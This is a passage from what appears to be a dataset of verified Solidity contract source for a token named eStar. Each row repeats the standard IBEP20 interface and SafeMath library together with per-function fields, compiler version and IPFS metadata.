* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | /**
* @dev Interface of the BEP20 standard as defined in the EIP.
*/ | NatSpecMultiLine | totalSupply | function totalSupply() external view returns (uint256);
| /**
* @dev Returns the amount of tokens in existence.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4 | {
"func_code_index": [
94,
154
]
} | 1,313 |
eStar | eStar.sol | 0x39b00bdd39c4a1e6743a3f904816778db7e26904 | Solidity | IBEP20 | interface IBEP20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | /**
* @dev Interface of the BEP20 standard as defined in the EIP.
*/ | NatSpecMultiLine | balanceOf | function balanceOf(address account) external view returns (uint256);
| /**
* @dev Returns the amount of tokens owned by `account`.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4 | {
"func_code_index": [
237,
310
]
} | 1,314 |
eStar | eStar.sol | 0x39b00bdd39c4a1e6743a3f904816778db7e26904 | Solidity | IBEP20 | interface IBEP20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | /**
* @dev Interface of the BEP20 standard as defined in the EIP.
*/ | NatSpecMultiLine | transfer | function transfer(address recipient, uint256 amount) external returns (bool);
| /**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4 | {
"func_code_index": [
534,
616
]
} | 1,315 |
eStar | eStar.sol | 0x39b00bdd39c4a1e6743a3f904816778db7e26904 | Solidity | IBEP20 | interface IBEP20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | /**
* @dev Interface of the BEP20 standard as defined in the EIP.
*/ | NatSpecMultiLine | allowance | function allowance(address owner, address spender) external view returns (uint256);
| /**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4 | {
"func_code_index": [
895,
983
]
} | 1,316 |
eStar | eStar.sol | 0x39b00bdd39c4a1e6743a3f904816778db7e26904 | Solidity | IBEP20 | interface IBEP20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | /**
* @dev Interface of the BEP20 standard as defined in the EIP.
*/ | NatSpecMultiLine | approve | function approve(address spender, uint256 amount) external returns (bool);
| /**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4 | {
"func_code_index": [
1647,
1726
]
} | 1,317 |
eStar | eStar.sol | 0x39b00bdd39c4a1e6743a3f904816778db7e26904 | Solidity | IBEP20 | interface IBEP20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | /**
* @dev Interface of the BEP20 standard as defined in the EIP.
*/ | NatSpecMultiLine | transferFrom | function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
| /**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4 | {
"func_code_index": [
2039,
2141
]
} | 1,318 |
eStar | eStar.sol | 0x39b00bdd39c4a1e6743a3f904816778db7e26904 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/ | NatSpecMultiLine | add | function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
| /**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4 | {
"func_code_index": [
259,
445
]
} | 1,319 |
eStar | eStar.sol | 0x39b00bdd39c4a1e6743a3f904816778db7e26904 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/ | NatSpecMultiLine | sub | function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
| /**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4 | {
"func_code_index": [
723,
864
]
} | 1,320 |
eStar | eStar.sol | 0x39b00bdd39c4a1e6743a3f904816778db7e26904 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/ | NatSpecMultiLine | sub | function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
| /**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4 | {
"func_code_index": [
1162,
1359
]
} | 1,321 |
eStar | eStar.sol | 0x39b00bdd39c4a1e6743a3f904816778db7e26904 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/ | NatSpecMultiLine | mul | function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
| /**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4 | {
"func_code_index": [
1613,
2089
]
